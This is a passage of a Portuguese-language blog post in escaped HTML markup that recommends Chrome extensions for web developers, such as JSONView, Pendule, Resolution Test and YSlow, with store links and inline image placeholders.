    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADOUlEQVQ4y51Ta0hTYRj+1Ewty9LSMlqXWWlZVlBBEkVUBAUhVFQQ9M8yp9N56UIQRBREBP0JMSKzKPpR0I+gomyR21re2sxptjZ3Oc5tbmdnO/fLes8506I/UQ8f73nf93uf771830FLtaXFy0uKlq7UlJSVrt+8al3FyjXly0rKNNrSFWvKN2+r3LF7374Dh6qOnjh28lRdQ9ODzsedj57cu9/55OlzNK9wyez5hdlzC7Ln5Ocv1izSaAsWa/IWFufmF+XkLYDdZavWri7fVLFle+WuvQerDlfX1Ov0zWfrDIaWiyhjVh6aMQulzUQoHaVlZubOz5pbkJ4DzhyEMhHKSM/KhYPglCKNVlu2YePW7Tv37IdTqo4cR/WNzTq9oUbXcLq2vrpGV1vf2NDUCs5aveGMTl99tg78ekNLY/M5Q8v51guXLl2+cvX6jZu3bt9pa0fJf4IkguCHPidfdUQJEjEKaJqmKBD0lMn8oaRAUWwyifebiJcd391+FAFEo5Mg8CgAxxV9GnhUDcBxXPXKVoyI4AQeiyGWExiGFwSRSDAMy5MUJ0oSSbMUzbEcD5LnRVAIEoQAwXI8y0uSBPUj23DA5sBiCWZoNPBlGOsZ9IMexRN9X/1DzmDPF6/TGyUIsvcrZh8Zt49ODDuD9m+BOMXJZBgCfERR5HlOEHhRECCXAtmUl2JIoiAqJgQofgGSp6YNZHoKrIJEIqFMkVKdEP1r5JKUIscUwDwmf0NEgapOr2mAF46Ty3a73S4XLBnuMYD7r3A6nZBP7fk/IZcdDodDoZDaXkgBhmEer9fn82PYOOiBwASG+RWPbyIYhACCICQFcs/QBkmSMCG49wDmf/eu65Ol22Ix2/t7jF1vnd9HrZZuk7n7fddbj9cHTKCkyPF4HKZFKQAv7LhcnjcfbB+tDqPF8eJ1T5fJYeodsfZ/G3S4aIqEGKCkyJAQDCgbkoNCKjVYbR7bSKBv0Gse8Bg/OY3WH+aBMZcvDI8bYoCSIqvdTv0bqVvlOcbrcXMcC1cQjYRhPPB2WIZWt+F8eBcyGd7D9D+jPg9QRFHoG7B3Pn7WdvfhtZt32zueAYFlOTUA+Cr5J1+evoRduanSAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;HTML5 Powered&amp;quot;&quot;
        title=&quot;HTML5 Powered&quot;
        src=&quot;/static/73680f9f9d291816c82c37a47c10f5b0/8a4e8/html5-powered.png&quot;
        srcset=&quot;/static/73680f9f9d291816c82c37a47c10f5b0/8a4e8/html5-powered.png 150w&quot;
        sizes=&quot;(max-width: 150px) 100vw, 150px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;HTML5 Powered&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Está embarcando na onda do &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt;? Quer saber quais &lt;em&gt;sites&lt;/em&gt; que você navega
que são feitos na linguagem?&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;HTML5 Powered&lt;/em&gt; exibe uma &lt;em&gt;flag&lt;/em&gt; muito simpática na área direita da sua
barra de endereços quando o &lt;em&gt;website&lt;/em&gt; tiver o &lt;em&gt;Doctype&lt;/em&gt; da &lt;em&gt;HTML5&lt;/em&gt;. Este,
junto com o &lt;em&gt;Chrome Sniffer&lt;/em&gt;, são excelentes para você visualizar de forma
rápida as tecnologias utilizadas para desenvolver o &lt;em&gt;website&lt;/em&gt; que você está
visitando.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/klleofbhhghgacodijohlacbfhfcefom&quot; title=&quot;HTML5 Powered&quot;&gt;&lt;em&gt;HTML5 Powered&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;jQuery API Browser&lt;/h2&gt;
&lt;p&gt;Surgiu aquela dúvida sobre a &lt;em&gt;API&lt;/em&gt; da &lt;em&gt;jQuery&lt;/em&gt;? Sem saco de ir até a página da
documentação da biblioteca?&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;jQuery API Browser&lt;/em&gt; você faz pesquisas na &lt;em&gt;API&lt;/em&gt; da &lt;em&gt;jQuery&lt;/em&gt; sem precisar
mudar de aba do navegador. Muito útil, principalmente para aquelas dúvidas
bobas que aparecem no meio de uma lógica.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/abefhanahjellfbchdmkjdcchkogijhk&quot; title=&quot;jQuery API Browser&quot;&gt;&lt;em&gt;jQuery API Browser&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;JSLint for Google Chrome&lt;/h2&gt;
&lt;p&gt;E foi-se a época em que o &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; era um mero coadjuvante. Hoje em
dia temos até &lt;em&gt;frameworks MVC&lt;/em&gt; para a linguagem!&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;JSLint&lt;/em&gt; você é capaz de testar a qualidade do seu &lt;em&gt;script&lt;/em&gt; sem precisar
fazer upload de nenhum arquivo, ou abrir a página oficial da ferramenta.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/jllekaioicnhoinolncnmofahonmmaio&quot; title=&quot;JSLint for Chrome&quot;&gt;&lt;em&gt;JSLint for Google Chrome&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;JSONView&lt;/h2&gt;
&lt;p&gt;Justiça seja feita, o &lt;em&gt;Google Chrome&lt;/em&gt; é péssimo em renderizar formatos
como &lt;em&gt;XML&lt;/em&gt; e &lt;em&gt;JSON&lt;/em&gt;. Se você utiliza &lt;em&gt;JSON&lt;/em&gt; e sente falta de uma visualização
mais amigável por parte do &lt;em&gt;Chrome&lt;/em&gt;, o &lt;em&gt;JSONView&lt;/em&gt; resolve este problema.&lt;/p&gt;
&lt;p&gt;Ele organiza a renderização de um arquivo &lt;em&gt;JSON&lt;/em&gt; em nós, indentando e
respeitando hierarquia. Um dos &lt;em&gt;add-ons&lt;/em&gt; mais simples e eficazes que já
encontrei!&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/chklaanhfefbnpoihckbnefhakgolnmc&quot; title=&quot;JSONView&quot;&gt;&lt;em&gt;JSONView&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Migre.me&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 150px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7e253e480fa494a645500877c4f45147/75985/migreme-logo.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAQCBQH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgD/2gAMAwEAAhADEAAAAetLnzHRTmYKgrQZ/8QAHBAAAwEAAgMAAAAAAAAAAAAAAQIDBAAFESI0/9oACAEBAAEFAqVSarqmzccK+kzBWB8xp7dhrmoz5vn/AP/EABURAQEAAAAAAAAAAAAAAAAAABEg/9oACAEDAQE/ASP/xAAVEQEBAAAAAAAAAAAAAAAAAAARIP/aAAgBAgEBPwFj/8QAHRAAAQQDAQEAAAAAAAAAAAAAAgABESExYXEQEv/aAAgBAQAGPwKTpRY9byCuGwn+h5pDcoAfDsiKLbaDi//EAB4QAQACAgEFAAAAAAAAAAAAAAEAESFBMRBRYZGx/9oACAEBAAE/IbHU+y+czQ1HTWB1vTshziMJ4HmWXRz3hCI3H07g4VNlpjt3cf/aAAwDAQACAAMAAAAQhDBD/8QAGBEBAQADAAAAAAAAAAAAAAAAAQAQETH/2gAIAQMBAT8QNjByb//EABcRAQEBAQAAAAAAAAAAAAAAAAEQETH/2gAIAQIBAT8QcMez/8QAHBABAAIDAQEBAAAAAAAAAAAAAREhADFBUYGR/9oACAEBAAE/EIO9I7V4HcGydkh8nn3EhwGd4O0kh2wHsZWwJsu3OaY3HlZa4VHsCg/gYNNIRDIpAs+OI6CUkZOKj9xolMjBBt5n/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do Migre.me&amp;quot;&quot;
        title=&quot;Logotipo do Migre.me&quot;
        src=&quot;/static/7e253e480fa494a645500877c4f45147/75985/migreme-logo.jpg&quot;
        srcset=&quot;/static/7e253e480fa494a645500877c4f45147/75985/migreme-logo.jpg 150w&quot;
        sizes=&quot;(max-width: 150px) 100vw, 150px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do Migre.me&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://migre.me/&quot; title=&quot;Dê preferência para soluções nacionais&quot;&gt;&lt;em&gt;migre.me&lt;/em&gt;&lt;/a&gt; é o encurtador de &lt;em&gt;URLs&lt;/em&gt; criado pelo hilário &lt;a href=&quot;http://twitter.com/jonnyken&quot; title=&quot;Siga o Jonny no Twitter&quot;&gt;&lt;em&gt;Jonny Ken&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Encurte &lt;em&gt;URLs&lt;/em&gt; de forma rápida e prática, sem precisar abrir aba de navegador
ou mudar de página. Excelente para quando você está lendo alguma notícia
interessante e quer compartilhá-la com seus amigos no &lt;em&gt;Twitter&lt;/em&gt; ou &lt;em&gt;Facebook&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/fbkejfkcdpnobdcpghmfjnbccfpnblco&quot; title=&quot;Migre.me no Google Chrome&quot;&gt;&lt;em&gt;Migre.me no Chrome Web Store&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Pendule&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Pendule&lt;/em&gt; é um &lt;em&gt;set&lt;/em&gt; de ferramentas para desenvolvedores &lt;em&gt;Web&lt;/em&gt;, com
funcionalidades interessantes como &lt;em&gt;reload&lt;/em&gt; de todo o &lt;a href=&quot;/tag/css.html&quot; title=&quot;Leia mais sobre CSS&quot;&gt;&lt;em&gt;CSS&lt;/em&gt;&lt;/a&gt; da página,
redimensionamento da janela e validadores &lt;em&gt;HTML&lt;/em&gt;, &lt;em&gt;CSS&lt;/em&gt; e de acessibilidade.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/gbkffbkamcejhkcaocmkdeiiccpmjfdi&quot; title=&quot;Pendule&quot;&gt;&lt;em&gt;Pendule&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Python Search&lt;/h2&gt;
&lt;p&gt;E nos mesmos moldes do &lt;em&gt;Android SDK Reference Search&lt;/em&gt; temos o &lt;em&gt;Python Search&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pesquise na documentação oficial do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; utilizando o sufixo “&lt;strong&gt;py&lt;/strong&gt;”
na sua barra de endereço do &lt;em&gt;Chrome&lt;/em&gt;. A verdade é que é realizada uma busca
no &lt;em&gt;Google&lt;/em&gt;, mas a documentação da linguagem tem maior relevância nos
resultados.&lt;/p&gt;
&lt;p&gt;De qualquer maneira, muito útil para os momentos de aperto.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/eoonlmlffmpfafcjmkenefnikdhnkgmk&quot; title=&quot;Python Search&quot;&gt;&lt;em&gt;Python Search&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Resolution Test&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 150px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b5486462bd252be92e416590e7aec180/8a4e8/resolution-test.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIElEQVQ4y2VUaZObOBDl//+d/bCVqq3dncr4irE9tseOj+Ew4hYgDsHEAqQ8cGYrU9tuyzpA/fr1a2vVZ+P4VLzmnKbF1mQsL/87Kv830aIohH9Y9LA4jhw3WJ994gUpjWHYG38xRnBsYEvzfd/7Zb6HOVa+747rhEaO45yutmHaln0zrBu5DSP8YZpoWyll38sO1rb4CnHHWinV933bioPNDna2sJp/r/WO8L9OzdyqeVWWVam5rkuI6wcBpQlAhnECTEgVL9/bHneZYeUlzYX2p7gLy95h/T7sWdPJvtWamu826+PhENF853cb974J1d6tdVcdo+EJK6wc2uwCtQukw6SZym9ExlwCmeYVaump7wkiya5XcNHhQLlBFNJEyf5Migth+u19aTfXsH5163+uzY3y97rSXHZ/9YWRiFbcYWL0tm0pjVmWIXkrKEnMv4ftMRQeE3YiNq6Iinsn7trRqydGs/dq3FR+VLCuaxCBwoFKw69s+r4O1MpXZqauqXq+qYgDnNJsJp1crj1Z/ABa2Q/MD1THlGZZNhLeAlHftZg/CiL7rh+816y0M5Ju5Xb5QGA31GosHuSQZhlYWZ+jv3VrpS8m0+liPtf15XQ6nc/ns9lM2xJ+8fnXt4YkvOGD9MoRtkMIBAcYcZo6XgC12LZtWRZGwzBM08SoOaxz827rdSid+j0yReQU+Hf25k/9D32hz+azw+EAhQYfpr2lkuRy40nWfM45HnJWUvmRZ9zeCIE0b9AsGgDvJ0mCUTv6Q+kA28+qmv/qmAfb6BBcd7Ocl+UaqSLJ6WiTyeTp6Wm73YIwYQ2lazMuoOu7GBysjrAHttMkcR0wQJAwMkfwR/LQtfaWqUui5kQVP4bSDdDloDAoPEmHnI3zfvfty3yxfH7+itDn8xmNOHYE0S5hffLrqfkeMw6dV3ywpmkQAVmh23jJyjzJMkaBJU2LvMApnsEfhnahLeqsk45Wn2HHlDEGFNfLRV+tDNN4fd2fTueXzWap64hPANv0M8vPtmb2YmZxkkHPuD7Pc9O0TMsSQiAOlgWsLMrBS0wfpP4EV3ZNLgyUrIcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Resolution Test&amp;quot;&quot;
        title=&quot;Resolution Test&quot;
        src=&quot;/static/b5486462bd252be92e416590e7aec180/8a4e8/resolution-test.png&quot;
        srcset=&quot;/static/b5486462bd252be92e416590e7aec180/8a4e8/resolution-test.png 150w&quot;
        sizes=&quot;(max-width: 150px) 100vw, 150px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Resolution Test&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Quer testar o seu &lt;em&gt;website&lt;/em&gt; nas mais diferentes resoluções possíveis?
O &lt;em&gt;Resolution Test&lt;/em&gt; é um &lt;em&gt;add-on&lt;/em&gt; incrível que permite fazer com que o seu
&lt;em&gt;Google Chrome&lt;/em&gt; fique dos mais variados tamanhos.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Pendule&lt;/em&gt; tem uma funcionalidade similar… portanto fica a opção de escolha.
Venho utilizando o &lt;em&gt;Resolution Test&lt;/em&gt; há muito tempo, por isso recomendo.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/idhfcdbheobinplaamokffboaccidbal&quot; title=&quot;Resolution Test&quot;&gt;&lt;em&gt;Resolution Test&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;SEO Site Tools&lt;/h2&gt;
&lt;p&gt;Um dos mais fantásticos &lt;em&gt;add-ons&lt;/em&gt; que tenho para recomendar!&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;SEO Site Tools&lt;/em&gt; é mais que um &lt;em&gt;add-on&lt;/em&gt;, é uma ferramenta que lhe auxilia a
cuidar da parte de &lt;em&gt;SEO&lt;/em&gt; do seu &lt;em&gt;website&lt;/em&gt;. Inclusive, com informações
referentes a relevância nas mídias sociais, sugestões de melhorias, e o já
clássico &lt;em&gt;PageRank&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/diahigjngdnkdgajdbpjdeomopbpkjjc&quot; title=&quot;SEO Site Tools&quot;&gt;&lt;em&gt;SEO Site Tools&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Silver Bird&lt;/h2&gt;
&lt;p&gt;Gosta do &lt;em&gt;Twitter&lt;/em&gt;? O &lt;em&gt;Silver Bird&lt;/em&gt; é um cliente de &lt;em&gt;Twitter&lt;/em&gt; que funciona
diretamente no seu &lt;em&gt;Google Chrome&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Acompanhe o que está “rolando” com seus amigos, e poste na plataforma sem
precisar mudar de página, e de forma rápida. Muito bom!&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/encaiiljifbdbjlphpgpiimidegddhic&quot; title=&quot;Silver Bird&quot;&gt;&lt;em&gt;Silver Bird&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Speed Tracer (by Google)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 128px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/3b2e439c783eb7391b2f3793f0b8177b/750d2/speed-tracer-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFVElEQVQ4y31UCVBTVxS9+UEUKdTSogKi7CEJIbITdlkHEBEkVEA2ta6MCy6gwigoai0KLi1WrdjK2FYk1bjjVnFpLbIIqIhFVEAQCZt0BJO82/cBR53p9M7c+W/e/DnvvHfuOQBszREChPLAMNcdIJ6ugy0CNRaJj45ZbneWmS/6BvzMjUFqDTCbz0CMACBWAP9fiTYASTYMSPlAe4VRlgR1s11QO90Rx2Y6I7Ns6kuYYcWHYEuggAxE0/9ihcP9nxUr5IDVeACTLyYarHfpNs33Qv4Gt0HJwSCl5ma3N8w6CrpUfAwWCEBvi+soiBMyGgmUhK/ZCLDgIzC2GXA3BZCYirU3Or39bIsLuuQFkglZ3gQW2qlglRPCQtty+vdo3VW2AAFmYJznyUCYFQfCecCJt/mALfs20XzmNf4C4zUnj4KvRJV6e9yRm+aoEu71RceiQGK53wfNt0sG9dMdmkctEBdDCH8arBQB6OoDhPEYiKAYce+YBppwwN8Ett9MAo0ouulvIaSgAyEnwjDlipSklcXgjr9SSH7lWky/vQhDi0Nx4lZnhCRRIYCxJtjSm4VZMzCDN8Iy1BwgxNxs3AK7q7rJ4rkQxV8/8/tQ3HQjVr2/ci2pbbtG2hVN+KqzmbQ/r1PXtFxT5ldlqgQHfJAefEUHTDRBz4BlymEnBTxzfEBnnvjEOnkM6qdL0CLLA7P/mIMFFatJ1+tmHPhHiX29r7Grr58oSk6SnvpGbOtsI8V1ewYsCryQTsghWMoH7c3OzDtxxjlt9Gw5UpWChjt8VKb7vMmyM5HkQcd1VA4g6epRYHdfHyr6+7HttBzbCw8TRf8bfNzaSLIq1qq1shyQvqknBFgMi8vWlOXOpTab/HDsFleVV2EA2VA6j4K8IP2UWW9vD3ZWVGBHVxd20G/Trjxs+62ENN+tRdmv65UOPwcgzBUeg1Q+aGY7cQE8JlFhpmiDq0GMZaZ7X/z5CMy+voj0DvRiLyL2KN/iq4IC7Cwrw866Onx6vBgfZWVhY8pyUpqbof7yghRhtbhJb7yZDhgaUXqRPC44GLBDrc/b5NEdf2kWpv2eqG69cxkVx0tQsWY1NuTuwodp67Bjdz4+O/QDPmx9gX9W3yfysmtk/qlohEz7NxxvniX4UScNeZMtjdG6hmucn4bLZ2JCaaT6bu5S0r51Jz6RyfBBQyM23CnHekcnbFiZSt/vBdZU1+KFy+dJ8inKMFWs4kzj8cHfatgpkzJcGf1VTjB6ru1Jr6Jg9JcHKfMrcrC+vZvUv+zA5y0t2KFUYvWevVhuZ4/VtTVYVVVHjsqPqMNKQhAW23Z+4mNtBN6WI9ZjDR9gzqZMuGmOO3qdDlMGnggkZ8oPk9YnbaTp6TN83Pg31j56hOf2fYe3btwmFy/dwpxTK1RmBzwQ4gS3INEQoNBtGJChXtyIqSA67AcaSaKL/IO+KJIFDQbKgvHI9TxSXn6H3Ku8T6rKa8jV21WkRH6O7JRl0JsED0LqVGSiBAshgs/GIFU5RghDcRRJ7SOZQgPCxGjMkqmtk7/1RuMi30HhcR91sjyebDubSfLk28hW2Qay+GSC2kHmPwAZ9pSd8CZCAsAEY5qXgg8SZya1TQRVnM286VbmdO+e1kp71NnlhlqHJOpPf3JVGRS5q/R+lKiY3TR9KDPKqJobLZjARPJZMJqTHwAORVDUUMByIcQSOFKBJl1n0P0m7mIxwgo72hRkCV0nizq4s4Vfc6UCLc6sETCW3UeBS6/OJNi8F8mfijTLmgXWhhnW7vT0RG6scB43QhDEhPM/BykFmM4bBmNHL244wf8Frx16OxQvIWwAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Speed Tracer Logo&amp;quot;&quot;
        title=&quot;Speed Tracer Logo&quot;
        src=&quot;/static/3b2e439c783eb7391b2f3793f0b8177b/750d2/speed-tracer-logo.png&quot;
        srcset=&quot;/static/3b2e439c783eb7391b2f3793f0b8177b/750d2/speed-tracer-logo.png 128w&quot;
        sizes=&quot;(max-width: 128px) 100vw, 128px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Speed Tracer Logo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Quer descobrir como anda a performance da sua aplicação &lt;em&gt;Web&lt;/em&gt;? O &lt;em&gt;Speed Tracer&lt;/em&gt;
pode te mostrar alguns gargalos que venham a ocorrer.&lt;/p&gt;
&lt;p&gt;Com métricas baseadas na execução de &lt;em&gt;Javascript&lt;/em&gt;, tempo de carregamento de
recurso e interpretação de seletores &lt;em&gt;CSS&lt;/em&gt;, pode ser uma ótima ferramenta para
te ajudar a identificar e resolver problemas de performance.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/ognampngfcbddbfemdapefohjiobgbdl&quot; title=&quot;Speed Tracer&quot;&gt;&lt;em&gt;Speed Tracer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Web Developer&lt;/h2&gt;
&lt;p&gt;E quando você não achar uma ferramenta no &lt;em&gt;Pendule&lt;/em&gt;, tente no &lt;em&gt;Web Developer&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Este &lt;em&gt;add-on&lt;/em&gt;, focado para desenvolvedores &lt;em&gt;Web&lt;/em&gt;, possui alguns diferenciais
em relação ao &lt;em&gt;Pendule&lt;/em&gt;, como um melhor controle sobre imagens, formulários e
estilos. Vale a pena ter os dois à disposição.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm&quot; title=&quot;Web Developer&quot;&gt;&lt;em&gt;Web Developer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;WhatFont&lt;/h2&gt;
&lt;p&gt;Quer descobrir a fonte de um determinado parágrafo? O &lt;em&gt;WhatFont&lt;/em&gt; é um &lt;em&gt;add-on&lt;/em&gt;
maneiríssimo que te permite descobrir não somente a fonte de um texto, mas
também tamanho, tamanho da linha, cor e a família da fonte.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;http://chengyinliu.com/whatfont.html&quot; title=&quot;WhatFont&quot;&gt;&lt;em&gt;WhatFont&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;YSlow&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 150px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e658b9e334c586fdb2a033abd13f8bba/8a4e8/yslow-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFXUlEQVQ4y7XUV1BUBxQG4HNhRoOMF4kRDBKJgIss7ALS0aUsvbdFttCLiDRBirSlLIgMTfq6AhFEM0EpoqgjKjFjySSjqAxFQIMlaBJgScwkM1nuPVl5yVPekjPzv5355j8vB+D/noGhYeju6YULA4PQ1z8AbVIZVFRWEbnH8olDyYdBGBEJQlEExMUnQLhA+O/Q4tt3cGvsDnz/cBymn83B5ZFrqs0t7Spf9fVDxfEqyM7JBYFAAMkp6Sph4QJVV3cP8PL2hcDgUHBydvkHerP4Dl7/uAiIuJ7HTyZU/6JouHR5BGQyKWQXSTccPFxA8iNSSAaTu+FodhYc4AvAwtwC3Dy8VD8YDMPdYGtnDyyWGcD8DwtK8C0sr/4Kg4OXVMafTMDy+7VNQ8NXY3p6z/VLpe0zdXU1KyWl4pWso1kzCYkH+0N44TE7dA3VuG4ecEAUpbJbCbJYbGCbmQNMz87D/MJL4kO7u/cewNTMnODe/QcL165fRenpLzCnoBoj4/KRJ8zAMFEyiqLjMTImCkN4vAWOE1cQEBy2fimDYUQoAzA+MQlXHk3B/OwcTE3PNs3MTOHwyCgK4msU1s4lChPLYsrBqZKytC2ijEzSKYZJgsKIFaxw8QxA3wB/dNjv2JSSmbOO6u3UA1iVy1WWl1dg7vlC0+LiG5SdGVZYuVWsuYe0oY1TLc00K6ELi/vomNhW2pCRThsbp9Eu3ELU0+evMc25Cq67G1pa2TZ6+wdCcLhQBRZevobJ6TnBn3+8x65zVxW77UppC5eT2NAySgtFMlrn00w8mChDf78TqLtFhEHeYlpS1kPravNRa1sQvdPAWrH